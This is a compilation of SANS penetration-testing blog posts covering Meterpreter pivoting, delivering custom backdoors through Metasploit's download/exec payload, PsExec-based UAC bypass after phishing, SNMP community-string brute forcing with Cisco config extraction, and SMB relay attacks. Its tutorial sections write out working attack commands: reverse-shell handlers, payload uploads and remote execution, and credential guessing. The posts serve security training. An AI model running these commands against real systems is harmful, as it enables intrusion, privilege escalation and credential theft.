Got Meterpreter? PivotPowPY!


by Cliff Janzen

My how time flies. It seems like only yesterday I wrote the post Got Meterpreter? Pivot! (/blog/2012/04/26/got-meterpreter-pivot), but it has been four and a half years. In our industry, the only thing constant is change and Mr. Ed Skoudis gave me the opportunity to revisit this topic to see what has changed. Thank you Ed.

So, once again, we will start with the same scenario:

We have a Metasploit Meterpreter shell with Admin/System privileges on an in-scope target Windows box. We will call this system X and it is in the DMZ. Do the root dance, pillage the heck out of it and get ready to pivot!

There are many ways to leverage the exploited system to discover, scan, and pivot to other devices in the target network. This article will discuss some ways to leverage the Metasploit Framework ( (hereafter referred to as Metasploit) to accomplish various kinds of pivots, although there will be some non-Metasploit tips scattered throughout as well. Where a technique from the previous post is still valid, it will be referenced. Our test system, X, uses a dual homed network, one network connected to the 172.16.33.x DMZ network and one connected to the 192.168.100.x internal network. The same techniques described below can be used for VLANs or physically separate networks that have paths to route to different networks.

Let’s go.


Watching the network interactions between devices is still one of my favorite ways to learn who, what, when and why an exploited system communicates with others on the network.

Meterpreter still has the sniffer module discussed in the last post available. In fact it has been updated with x64 support since then. However, rather than rehash sniffer, we will use the Packet Recorder sniffer extension written by Carlos Perez.

Packet Recorder uses sniffer, but makes it even easier. Start by executing the command run packetrecorder –li in the Meterpreter session to list out the available network interfaces, then execute the command run packetrecorder –i 3. To end the capture, carefully press CTRL-C then open up the capture and look for interesting info. The example below shows the entire process.


Not using Metasploit? For some reason when writing the post in 2012, I didn’t mention the built in netsh capability so let me correct that oversight now. The netsh trace command can be used. There are all sorts of filters that can be used but a simple method is just to use the IPv4Address flag as shown in the screenshot below.

This capture is saved in ETL format and can be viewed using Microsoft Message Analyzer. You can also convert the ETL capture to PCAP format with a couple of PowerShell commands. See the Internet Storm Center post in the references for more details.


 Route and Auxiliary scan

There are more than 250 post-exploitation modules currently available in Metasploit. A lot of them are used to gather info from the exploited system and a few of these are very useful in a pivoting situation.

A couple of good ones, again compliments of Carlos Perez, which can be used to determine what other systems are on the network are
post/windows/gather/arpscanner and post/multi/gather/pingsweep.



As illustrated above, these scans identified a few systems we can potentially pivot to.

Routing and Proxy

Routing is even easier then it was in 2012. From within your Meterpreter session simply type run autoroute –s subnet, then ctrl-z to go back to the Metasploit console and use the new route with some of the auxiliary TCP based scan modules and if we find something juicy, even exploit through the autoroute. The example below shows using our exploited system as route to identify listening ports from the systems discovered during the ping_sweep,


PORTFWD, SOCKS proxy and SSH Tunnelling illustrated in the previous post still works well. If you haven’t used them yet, you should. Re-read the post and setup a test lab to ensure you see it in action. You won’t regret it.

One new development since that post is the addition of PowerShell version of SSH. Personally, I have only done limited tunnelling testing with the Microsoft backed version If you have had some successes or challenges using PowerShell implementations of SSH for pivoting I would love to see them in the comments below.


Unfortunately, it appears that the module MSFMap by SecureState is no longer working in the current versions of Metasploit. All is not lost, though. There have been some very handy additions to Meterpreter that we can use in its place.


There are many ways to get a PowerShell session with Metasploit. One of the easiest is to use an existing session to create a PowerShell session. Background the existing session and do the following run the module exploit/windows/local/payload_inject with the Windows/powershell_reverse_tcp payload as shown below.


From here you can run (almost) any PowerShell module. In the example below, a PowerShell script, Invoke-TSPingSweep, which was modified a bit to make it more display friendly, was uploaded via Meterpreter, imported and then executed.


Note that some scripts will behave differently when run in the injected session. In particular watch out for scripts that use out-host and some that do not handle network connection timeouts will return big ugly errors like this one below, but will typically continue.



Another new addition is the ability to run Python directly in a Meterpreter session!!

This ability is still being developed and currently, there are some technical issues that limit some of the usefulness, for instance you can’t have the Python script run in the background (,. Still, this is an great addition and one that certainly will be useful when pivoting.



Imagine being able to easily use your favorite Python code from Black Hat Python, Violent Python or the SANS Security 573 class. Wonderful!

Not using Metasploit? As briefly shown above, PowerShell is a very powerful tool for the penetration tester and can be especially handy for post exploitation activities. All of the automated penetration testing programs provide PowerShell modules and a lot of very good work is being done on utilizing PowerShell for both defense and offense.

PowerShell remoting may not always available, but if it is, it can be a quick way to pivot around a network. From an existing PowerShell session run the command New-PSSession –ComputerName abc.fg.hi then to interact with the shell run the command Enter-PSSession X


What’s next?

I don’t see any slowdown in the opportunities to pivot through the network anytime in the near future. Do you have a favorite I haven’t mentioned? If so, please share it in the comments.

Thank you for your time



Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

SANS Pen Test Cheat Sheet: Metasploit

For the longest time we haven’t had a proper blog post for our Metasploit Cheat Sheet. This is one of our most popular cheat sheets. It was created by Ed Skoudis and his team.

When we attend BSides and conferences like DerbyCon and ShmooCon we bring a ton of printed copies with us and give them out at the booth and attendees always grab a bunch for themselves and for friends back at the office. But, in case you can’t make it to a local conference we are sponsoring, we’re making it available online for you to download, print, and share.

Did you know that we teach Metasploit in our core SANS Pen Testing Course, SEC560: Network Penetration Testing and Ethical Hacking and in our newly revised and updated 2-day hands-on SEC580: Metasploit Kung Fu for Enterprise Pen Testing?

Oh… we just made something that we think is pretty nifty. Here is a desktop wallpaper, in multiple sizes, based on the Metasploit Cheat Sheet for you to download and use.

(Click on the image for full-sized version to download)


Download the 2-Page, PDF, Printable Version of Metasploit Cheat Sheet


Download: MetasploitCheatsheet2.0

Pen Test Cheat Sheets:

SANS Pen Test Training:

Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

Custom Payloads in Metasploit

[Editor’s Note: Mark Baggett shares some useful insights into delivering custom payloads using Metasploit, with a little Python magic to boot! –Ed.]

By Mark Baggett

You launch your Metasploit exploit.  It looks like it is working but no session is created. What happened?  Your exploit just got popped by antivirus software.  Such a bummer.  Antivirus software is a hurdle that you have to overcome as a penetration tester, modeling the techniques of the real-world bad guys.  The best way to avoid antivirus software is to stop using a payload that someone else created.  Time and time again, penetration testers find they have a basic need to use custom payloads.

Create your own custom payload, and then you won’t have to worry about an AV signature catching your payload and eating it!  It is easy and it gives you the flexibility to go after any target.  There are lots of tools and articles for helping you doing so, including the Veil framework.

So you build your own custom payload, now what? How do you operationalize your payload? How do you deliver it to a target and execute it?  There are lots of ways to deliver a custom payload, but I’ll cover one of the easiest and most flexible options here.

Metasploit’s Download/Exec Payload is a great option for delivering a custom payload to a target.  You can use it with most of Metasploit’s exploits including memory corruption exploits, misconfiguration exploits, and authenticated attacks like PSEXEC.  This flexibility means with this Metasploit payload, you can use your custom payload with the Meterpreter.

To use the Download/Exec payload, you will need to do three things.  First, you’ll need a website from which the victim can download your custom backdoor.  Second, you will need to setup a Metasploit handler to receive the connection from your custom backdoor.  Lastly, you’ll need an exploit to deliver your custom payload.  Let’s take a look at each of the steps.

1) A website to provide the “Download” in the Download/Exec payload

You have lots of options for a website to deliver you payloads.  Anytime I need a “quick and easy” website I use Python.  The first step to staring the Python web server is to change to the directory that contains the files you want to make available for download.  Then the command “python -m ‘SimpleHTTPServer’ <port number>” can be used to start a web server.  The files in that directory can then be downloaded using any web browser.  You can setup this server on any computer that has Python installed.  Here, I’ve started a web server listening on port 8000. When the exploit runs you’ll see the download being logged by your web server.  Here you can see the victim downloading a copy of “pythonbackdoor.exe”.

Blog 1.1

2) Start a handler to receive your shell

Starting the multi/handler requires a few simple commands.  First is “use multi/handler”.  Next, set your payload to one that is compatible with the custom payload you created.  If your payload contains meterpreter then you will “set payload windows/meterpreter/reverse_tcp”.  If it is a command prompt then you would type “set payload windows/shell/reverse_tcp”.  Since my Python backdoor sends a command prompt, the correct payload here is “windows/shell/reverse_tcp”.  This “single” payload doesn’t use a stager and expect a connection from a shell. Do not confuse this with the “windows/shell_reverse_tcp” since “windows/shell_reverse_tcp” is expecting a connection from a stager not a shell.  Setting LHOST to will cause Metasploit to listen on all the network addresses on your host.  This is a good shortcut from single payloads but it is not a good idea to use this for staged payloads.  Some stagers, for example /*/reverse_http, will require that you have an actual routed address so that the stager knows where to download the next stage.  Finally, set your LPORT to the port your custom payload is hardcoded to connect to.  In this example, my payload is set to send a command prompt to port 80.  Finally, you’ll need to start the multi-handler but our work in Metasploit is still not finished. You’ll also need to start your multi-handler as a background task. To do this, the “-j” options to the exploit command will start the multi-handler as a “job” that runs in the background.

Blog 2.1.1


3) Exploit the target and deliver the payload

With your handler in the background waiting to receive a connection, you’re ready to exploit the target.  Just about any exploit could be used, but remembering my Penetration Tester’s Pledge , I’ll use PSEXEC.  First, I use “windows/smb/psexec” and set it up with the correct username and password for the target.  Then I set my payload by typing “set PAYLOAD download/exec”.  The options are pretty simple. You set the URL to point to the custom payload on the web server that you setup in step 1.  You can change the name of the file that will be saved to the target if you like.

Blog 3.1.1

When you type “exploit” you will see it download from your website and a shell will appear in your handler.  Game On.  Let the pivots begin.

So now the question is do you have a custom payload to deliver to a target? If not, there are several options.  Veil is a great option.  It will create a customized version of meterpreter and it does an excellent job of avoiding antivirus software.  Or, you can write your own.

Want to be a certified Python Coder? Learn more:

-Mark Baggett


Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

Network Pen Testing Tips, Tricks, Tools and Resources

[Editor’s Note: For this year’s SANS Pen Test Poster, we asked some of the best pen testers and instructors in the industry to share their wisdom in a series of tips, tricks, tools, and useful resources for various kinds of penetration tests.  We got some great input on network pen testing, web app pen testing, mobile pen testing, exploit writing, and wireless pen testing.  We’ll be posting these really useful recommendations as a series of blog posts over the next few weeks.  The first in the series is this set of recommendations from the amazing John Strand of Black Hills Information Security. –Ed.]

By John Strand


  • Recon – This is the one area most people skip over or put the least amount of effort into. Don’t. Without question, this is the most important phase. If done correctly, it is possible to gain access to a network without using a single exploit. For example, take a look at the modules available in recon- ng. Some of our favorites are the pwnlist modules and namechk.
  • Scanning – Try to be as accurate as possible. If your scanner supports a scan dedicated to PCI, don’t use it. PCI scans have a very high false positive rate. If the project is a Crystal-box or Grey-box test, look into credentialed scanning. It will reduce the false positives, and the scan will run much faster. As an added bonus, it will also dramatically reduce the likelihood of crashing a system. Finally, always review the low and medium risk findings. These lower-risk findings may add up and result in significant potential for attack.
  • Exploitation – Always explicitly set the TARGET in Metasploit, as it will reduce the likelihood of a target crash and will increase the likelihood of successful exploitation. Get very comfortable with the Social Engineering Toolkit. Learn how to bypass AV, see the reference section below.
  • Post-Exploitation – After you have access to a target system, put the exploits away. Dump the passwords, crack the passwords. Get familiar with mimikatz. Get familiar with passing the hash. Get familiar with password spraying. Pivot mercilessly.
  • Reporting – Tell a narrative and demonstrate the risk through screenshots and videos. Never, ever, copy and paste results from an automated tool.

Must-Have Tools



Teensy* – Emulate keyboards to take over systems.
Pwnplug* – Small, portable, powerful covert pen testing platform.
* These tools are available on a commercial (cost) basis.

Resources for Staying Current 

Associated SANS Courses

SEC504: Hacker Techniques, Exploits, and Incident Handling
SEC560: Network Penetration Testing and Ethical Hacking

–John Strand

PsExec UAC Bypass

[Editor’s Note: In this article, Tim Medin describes a common pen test scenario in which a tester gets limited access of a target Windows machine, and needs to escalate privileges without incurring the wrath of User Account Control (UAC).  Tim describes his approach, which involves the use of psexec to bounce off of another machine to evade UAC and then pivot mercilessly in the target environment.  Nice stuff! –Ed. ]

by Tim Medin

During a recent penetration test, we were trying to figure out how to bypass UAC on a fully patched Windows environment, given that we’d had a limited compromise of one system via phishing.  I’d like to share the technique we came up with so you can apply it in your own work.

The Scenario

In our test, we were using phishing attacks trying to trick a user to click on an AV-dodging attachment that would invoke a Metasploit payload and connect back to my system.  In Metasploit, I started the reverse handler:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 53 msf exploit(handler) > set lhost my_ip_address
msf exploit(handler) > set exitonsession false
msf exploit(handler) > exploit -j -z

I’ve set up the listener so that it will _not_ kill the listener after the first connection (ExitOnSession is false). This means the listener can be used over and over again without having to restart the listener between connections. When the ExitOnSession variable is set, the exploit command must be used with -j (start as job) and -z (do not interact with the session immediately — that is, background the session automagically).

A little while later, someone clicked something they weren’t supposed to. We’ll call that user “MrClickHappy,” and he graciously clicked the malicious attachment we sent.  There was a phish on the line, but there was a small problem: our resulting Meterpreter session was running without an elevated token.  Thus, getsystem, hashdump, and other similar commands failed with the frustrating “Access Denied” message. Our compromised target box was fully patched, so there were no kernel exploits or other known problems that would allow privilege escalation. Of course, the regular user account could be useful, but system level access is much more fun and opens a lot of additional avenues.  To achieve that kind of access, we needed a way to bypass UAC to get higher level permissions on the box.

The Attack

The fantastic PsExec tool by Mark Russinovich from Microsoft SysInternals (not the Metasploit module) offers a -h option, which runs the specified executable on the remote system using the account’s elevated token (if possible). This means we can upload PsExec and run it against another system using the higher privileges associated with the account. Sadly, we can’t successfully use PsExec against the box from which it is running (e.g., no  But still, by bouncing through another machine in the target environment, we can get the higher privileges we crave, and then bounce elsewhere and possibly even back to where we started from.

First, we need to upload the PsExec.exe executable to a machine I’ll call Box0, the initial point of compromise, which will be used as a staging point. We also need to upload a safe copy of the meterpreter payload to Box0. We’ll use these files to find a system against which we can authenticate as a privileged account.  Here are the commands I ran in my phish-derived Meterpreter session on Box0.

meterpreter > upload /my/local/path/to/metr.exe \\users\\MrClickHappy\\metr.exe meterpreter > upload /my/local/path/to/PsExec.exe \\users\\MrClickHappy\\PsExec.exe meterpreter > upload /my/local/path/to/targets.txt \\users\\MrClickHappy\\targets.txt
meterpreter > shell
Process 3052 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\MrClickHappy> PsExec.exe @targets.txt -accepteula -c -f -h -d metr.exe

This command will use the exiting user’s credentials to copy the Meterpreter payload to the remote system (-c), overwrite the file if it already exists (-f), run it with elevated permissions (-h), not wait for the process to terminate (-d), and disable the EULA prompt (-accepteula). A list of targets has been provided (@) so the command will keep running and eventually find a winner.

The Meterpreter PsExec module can’t be used, as we don’t have the password or hashes. Fortunately, Windows will automatically pass through our existing user’s credentials to remote systems via PsExec.exe and will allow us to get Meterpreter shell on another system provided the user has admin privileges somewhere on a machine listed inside targets.txt. Even better, the new shell will be an elevated shell (assuming the user has the privileges) and we don’t have to deal with UAC on our new target.

Suppose Box1 is a target on which our click happy user has admin privileges.  After running the previous command on Box0 which psexec’s stuff on Box1, a new Meterpreter sessions will start using our existing listener.

[*] Sending stage (751104 bytes) to Box1_ip
[*] Meterpreter session 1 opened (my_ip:5555 -> Box1_ip:49160) at 2013-03-30 15:30:03 -0500
msf> sessions -i 1
meterpreter > getsystem system (via technique 1).

At this point, there is a limited shell on the initial target (Box0) and a privileged shell on another target (Box1), both using the same user’s credentials. The Meterpreter shell on the new system does not get cranky when we try to use the commands that require system level access, such as hashdump.  Still, there is a small issue.

If we want to go back to the original system with privileged access, we have a bit of an issue. We can’t use the shell on Box1 with pass-thru authentication because of the “double-hop” issue associated with impersonation. Here is a description of the issue using the text from this Microsoft article, with the names changed, to represent this scenario: The double-hop issue is when the one system tries to use resources that are located on a system that is different from the original target. In our case, the first “hop” is from Box0 to the Box1; the second hop is to from Box1 to anything else (including back to Box0). Remote authentication for SMB requires a primary token. Therefore, the Box1 system must know the password for the client to pass a primary token to somewhere else (such as back to Box0). Since Box1 only has a secondary token, the NTAUTHORITY\ANONYMOUS account credentials are used and a second session cannot be established.

We do have a privileged session with our new user, and that may be our end goal. However, if we really need elevated privileges on the original system, we need to find another system where our targeted user is running with a “primary token”. To find this logged-in user, we can use another tool in the PsTool suite, PsLoggedon.exe.

PsLoggedon does not take a list of nodes, so we must wrap it in a Windows cmd.exe FOR loop to target multiple systems. The command below will run through a list of targets and then list the hosts where our targeted user (MrClickHappy) is currently logged in. It will also nicely pass-thru the credentials of an initial compromised user.

C:\> for /F %i in (targets.txt) do @PsLoggedon.exe \\%i 2>NUL | find "MrClickHappy" >NUL && echo %i 

Now, Box13 can be targeted with PsExec and a Meterpreter payload. Once the shell is established, the clear text credentials can be dumped with the wonderful Metasploit Mimikatz module. This box will also have a good “primary token” so PsExec can be used to get an elevated shell back on the original system, Box0.

Of course, if you have credentials, you can play the double hop without issue. All you need is a host to bounce off of.

C:\> PsExec.exe -u MrClickHappy -p Password1 -h -c -v @targets.txt PsExec.exe \\Box0 -d -s -u MrClickHappy -p Password1 \Users\MrClickHappy\metr.exe

This command will use PsExec to target a list of systems. When it finds a system against which it can successfully authenticate, it will copy over the PsExec.exe executable and use it to run Meterpreter back on the original system. This will then provide a lovely system level (-s) shell back on Box0.

With a nice springboard machine, such as Box1, UAC is a lovely little speed bump.

Tim Medin
Counter Hack

Invasion of the Network Snatchers: Part I

[Editor’s Note: In this article, Tim Medin discusses methods for penetration testing network infrastructure components, specifically through the Simple Network Management Protocol (SNMP).  Tim’s tips below include a nice overview of SNMP, techniques for formulating highly useful lists of potential authentication credentials for SNMP, a description of how to use an Nmap NSE script for password-guessing SNMP, ideas for using snmpwalk to extract config info, and a description of a Metasploit module for harvesting SNMP info from a bunch of devices.  He’s got some great command-line kung fu throughout as well.  It’s a cornucopia of useful ideas.  These techniques can be really helpful in showing security risks in a target organization’s network infrastructure.  Thanks, Tim! –Ed.]

By Tim Medin

Part of one of Sun Tzu’s (overly used) quotes is, “Water shapes its course according to the nature of the ground over which it flows…”.  I often hear people say, “blah blah blah be like the water”.  Being flexible like water is great (although it’s kinda wishy washy and you’d be all wet).  But, wouldn’t it be better if we could become the ground and control all of the water and where it goes? That is what I like to do on penetration tests by targeting the network equipment.

Often times, the network topology and traffic flow is seen as an unmovable riverbed. It doesn’t really change and takes some sort of special unspoken power to change. Traffic goes from A through B to get to C where it goes through a firewall and an IPS. How much more fun would it be to skip the lines and jump right on the network next to your target, bypassing all of the security controls?

To do this, we first need access to the networking gear. In larger organizations, authentication to the network devices is often controlled by TACACS or Radius, which are used to centrally manage and log authentication. This approach allows network admins to login to their gear using a domain account (often the same domain account they use to check their email, but I digress). There are plenty of ways pen testers can attack these accounts, so we’ll move on to another vector, attacking the Simple Network Management Protocol (SNMP).

Pretty much all networking gear can be managed and monitored via SNMP. Fortunately for us, this service is often not as thoroughly hardened as the normal TCP services (SSH, HTTP(S), and Telnet). It usually isn’t logged and doesn’t offer any sort of lockout mechanism. It also has some glaring security shortcomings. All things that are good for penetration testers.

SNMP comes in 3 versions: 1, 2c, and 3. Version 1 and 2c are identical from a security point of view. They only validate authenticate via a community string (think password without a username) and they don’t offer encryption or message integrity. Version 3 fixes these problems and implements mechanisms to protect the confidentiality and integrity of the transmission.

It is going to be much easier to guess the credentials of services using v1 and v2c, since v3 requires a username and a community string and v1/2c does not. Let’s get ready to brute force password guess our buddies SNMP v1 and v2c!

Before we can brute, we first need a good list of targets that speak SNMP.  Our handy-dandy friend, Nmap, can take care of finding those as follows:

$ sudo nmap -PN -sU -p 161 -iL targets.txt -oA output

This nmap command will probe a list of targets (-iL) from the file targets.txt using UDP (-sU) port 161, the SNMP port, and save the output in all three nmap formats (-oA) into files with a basename of output, including output.nmap, output.gnmap, and output.xml. For speed and efficiency, the host discovery checks (-PN) are disabled as we only want to send a single packet on port 161. One important thing to note: this scan takes advantage of the differences in SNMPv3 to get a response (without authentication) and it will miss devices that only speak v2c or v1. Technically, we end up with a list of devices that speak SNMPv3, but often devices running SNMPv3 also support v2c (and even v1).  So, in many organizations, this list of SNMPv3 systems will be useful for v2c and v1 community string brute force guessing.

Now let’s get a list of devices that are running SNMP by grep’ing through nmap’s grepable output.

$ grep '161/open/' output.gnmap | cut -d' ' -f 2 > snmpdevices.txt

Here, we are looking for the string indicating that port 161 is open from our output.gnmap file.  We’re piping that through the cut command to look through our space-delimited output (-d’ ‘), extracting the second field (-f 2), which will hold the IP addresses of our potential targets.  We store our results in a file very cleverly named snmpdevices.txt.

Next, we need to try to guess the v1/v2c community strings used to authenticate to these devices. There are usually two types of community strings: read-write and read-only. Admins will often differentiate the community type string by appending the access level to it (e.g., sometext-read/sometext-write, sometext-public/sometext-private). Let’s create a list of basewords and suffixes and then combine them.

$ cat << EOF > basewords.txt

$ cat << EOF > suffixes.txt

Now that we have the basewords and suffixes we can combine them to create a mashup wordlist.
$ for GUESS in `cat basewords.txt`; do for SUFFIX in `cat suffixes.txt`; do echo $GUESS$SUFFIX; echo $GUESS-$SUFFIX; done; done > combo-clean.txt

$ head -n 5 combo-clean.txt

Admins often use l337sp34k to make the strings harder to guess. So let’s l33tify the guesses. John the Ripper has some nice mangling features, so let’s take advantage of them.

The people over at KoreLogic have developed some fantastic mangling rules for John the Ripper. Using the rules is quite simple.  Just download the rules and then append them to your john.conf (instructions are included on their site). Once the rules are installed, we can use them to mangle our existing guessing with l33t combinations.

$ john –wordlist:combo-clean.txt –rules:KoreLogicRulesL33t –stdout > combo-l33t.txt

We should also download a list of default community strings. Just because admins are leet, doesn’t mean they don’t miss things. Default passwords and community strings are tremendously useful. We’ll take the list of the combinations, l33t combinations, and the default strings to make a bigger dictionary. We’ll then remove any duplicates and anything longer than 20 characters.

$ cat wordlist-common-snmp-community-strings.txt combo-clean.txt combo-l33t.txt | sort -u | grep -vE ‘.{21,}’ > completeguesses.txt

Ok, so we’ve got a good list. Now we need to use it — Nmap to the rescue (again)! The snmp-brute NSE script is great for guessing community strings. There are other tools that do it, but I greatly prefer nmap.

$ nmap -sU –script snmp-brute –script-args snmp-brute.communitiesdb=completeguesses.txt
Nmap scan report for
161/udp open snmp
| snmp-brute:
|_ C0mpanyNam3-RW – Valid credentials

Winner! Winner! Chicken Dinner!

We have a target and a working community string. It is highly likely that this is a read-write string based on its name (C0mpanyNam3-RW). Now, we need to extract some useful data from the device.

For those of you unfamiliar with SNMP, all the data and configuration settings in a device are located in a hierarchal tree. Each location on that tree is identified by an OID (Object Identifier). You can do a little searching and find names that are associated with each node [e.g. Iso(1).org(3).dod(6).internet(1)… ], but I don’t use it enough to really care. All I really need is the root location of When I need something else, I google for it or grep through the results of a full dump. A full dump can be extracted using the snmpwalk tool (BTW, this technique is VERY useful against printers for extracting usernames, computer names, and document names).

$ snmpwalk -c C0mpanyNam3-RW -v 2c > ciscosnmpdump.txt

Before we dig too much into this file, let’s figure out what this device is. We’ll use SNMP to query the SysDescr (OID and get some details on the device.

$ snmpget -c C0mpanyNam3-RW -v 2c
Cisco Internetwork Operating System Software IOS ™ 2500…

Oh, this is even better. We can dump the configuration file from a Cisco device using SNMP and a TFTP server. It’s even easier since Metasploit has a module to do this!

Admins commonly use the same community string across all network devices. So once we get a community string that works on one device, we can likely use it against all the networking devices. The RHOSTS option (notice it is plural) accepts multiple targets. It will even accept a file.

msf> auxiliary/scanner/snmp/cisco_config_tftp
msf auxiliary(cisco_config_tftp)> set LHOST
msf auxiliary(cisco_config_tftp)> set OUTPUTDIR /tmp/
msf auxiliary(cisco_config_tftp)> set RHOSTS file:/tmp/snmpdevices.txt
msf auxiliary(cisco_config_tftp)> set COMMUNITY C0mpanyNam3-RW
msf auxiliary(cisco_config_tftp)> run

After this runs, we’ll have a bunch of configurations files saved in our /tmp directory.

What can we do once we have a pile of Cisco configuration files? You’ll have to check back for the next installment because this is where things get really crazy!

–Tim Medin
Counter Hack


SMB Relay Demystified and NTLMv2 Pwnage with Python

By Mark Baggett

[Editor’s Note: In this _excellent_ article, Mark Baggett explains in detail how the very powerful SMBRelay attack works and offers tips for how penetration testers can operationalize around it.  And, bet yet, about 2/3rds of the way in, Mark shows how you can use a Python module to perform these attacks in an environment that uses only NTLMv2, a more secure Windows authentication mechanism.  Really good stuff!  –Ed.]

The SMB Relay attack is one of those awesome tactics that really helps penetration testers demonstrate significant risk in a target organization; it is reliable, effective, and almost always works.  Even when the organization has good patch management practices, the SMB Relay attack can still get you access to critical assets.  Most networks have several automated systems that connect to all the hosts on the network to perform various management tasks.  For example, software inventory systems, antivirus updates, nightly backups, software updates and patch management, desktop backups, event log collectors, and other processes will routinely connect to every host on the network, login with administrative credentials and perform some management function.

In some organizations, active defense systems such as Antivirus Rogue host detection will immediately attempt to login to any host that shows up on the network.  These systems will typically try long lists of administrative usernames and passwords as they try to gain access to the unknown host that has mysteriously appeared on the network.  SMB Relay attacks allow us to grab these authentication attempts and use them to access systems on the network.  In a way, SMB Relays are the network version of Pass the Hash attacks (which Ed Skoudis described briefly in the context of psexec in his Pen Tester’s Pledge article).  Let’s look at how these attacks work.

NTLM is a challenge/response protocol.  The authentication happens something like this:  First, the client attempts to login and the server responds with a challenge.  In effect the server says, “If you are who you say you are, then encrypt this thing (Challenge X) with your hash.”   Next, the client encrypts the challenge and sends back the encrypted challenge response.  The server then attempts to decrypt that encrypted challenge response with the user’s password hash.  If it decrypts to reveal the challenge that it sent, then the user is authenticated.  Here is an illustration of a challenge/response authentication.

With SMB Relay attacks, the attacker inserts himself into the middle of that exchange.     The attacker selects the target server he wants to authenticate to and then the attacker waits for someone on the network to authenticate to his machine.  This is where rogue host detection, vulnerability scanners, and administrator scripts that automatically authenticate to hosts become a penetration tester’s best friends.  When the automated process connects to the attacker, he passes the authentication attempt off to his target (another system on the network, perhaps a server).   The target generates a challenge and sends it back to the attacker.  The attacker sends the challenge back to the originating scanning system.  The scanning system encrypts the hash with the correct password hash and sends it to the attacker.  The attacker passes the correctly encrypted response back to his target and successfully authenticates.  This process is shown in the next illustration.  The BLUE arrows are the original communications and the RED arrows are slightly modified versions of those communications that the attacker is relaying to his target, so that he can gain access to it.

Although this may seem complicated, it is actually very easy to exploit. In this example, the attacker (let’s say he’s at IP address wants to gain access to the server at the IP address (perhaps a juicy file server). There is a nightly software inventory process on the server at that inventories all the hosts on the network.


Attacker IP –
Target IP –
Nightly Inventory Scanner IP –

Metasploit has an SMB Relay Module and it works wonderfully.   The attacker at sets up Metasploit as follows:

I’ll use a simple Windows FOR loop to simulate an administrative server scanning the network and doing inventory.  On host I run the following command.

When the scanner ( connects to (our Metasploit listener) the authentication attempt is relayed to the target server (  The relayed authentication happens like magic and Metasploit automatically uses the authenticated SMB session to launch the meterpreter payload on the target.  Notice in the figure below that Metasploit sends an “Access Denied” back to the inventory scanner when it attempted to connect to  However, the damage is done and we get a Meterpreter shell on the attacker’s machine running on the target (

Today, Metasploit’s SMB Relay only supports NTLMv1, so organizations can protect themselves from this attack by changing the AD policy from this setting (available in secpol.msc) …

To this…

After we make the change to NTLMv2, we try Metasploit again.

Now when we run the exploit, Metasploit gets a “Failed to authenticate” error message.  DRAT, our dastardly plan has been foiled by modern security protocols.  Metasploit has support for NTLMv2 in other exploits such as http_ntlmrelay, so I imagine this exploit will eventually support NTLMv2.

But, don’t worry.  We’ve got you covered.  Until then, it is PYTHON TO THE RESCUE!    Two weeks ago, I showed you in my blog post about using a Python version of psexec at  It is a Python implementation of psexec that is distributed with the IMPACKET modules.  The team writing the IMPACKET module for Python is doing some really awesome work.  First of all, the modules they have written are awesome.  Beyond that, they have created several example programs that demonstrate the power of their Python modules.  Best of all, the SMBRELAYX.PY script that comes with IMPACKET supports NTLMv2!  Sweetness, thy name is IMPACKET!

Getting the script running will take a little bit of work.  You’ll need to download the latest version of IMPACKET and fix the module paths to get it up and running.  To fix this, I put all of the examples in the same directory as the other modules and then change the import statements to reflect the correct directories.   SMBRELAYX needs an executable to run on the remote host after it authenticates.  What could be better than the meterpreter?  Let’s use msfpayload to create a Meterpreter EXE and then setup SMBRELAYX. requires two parameters: -h is the host you are going to attack and -e is the process to launch on the remote host.  You just provide those options and sit back and wait for that inventory scanner to connect to your system.  Below, I show msfpayload creating the Meterpreter executable, and the invocation of

Because we are using a meterpreter reverse shell, we also have to setup Metasploit so that it is ready to receive the payload connection after it executes on the target.  That is what the multi/handler exploit is for, as shown below:

Now, I’ll simulate the scanner by attempting to connect to the C$ of our attacker’s Linux box ( from the scanner server (

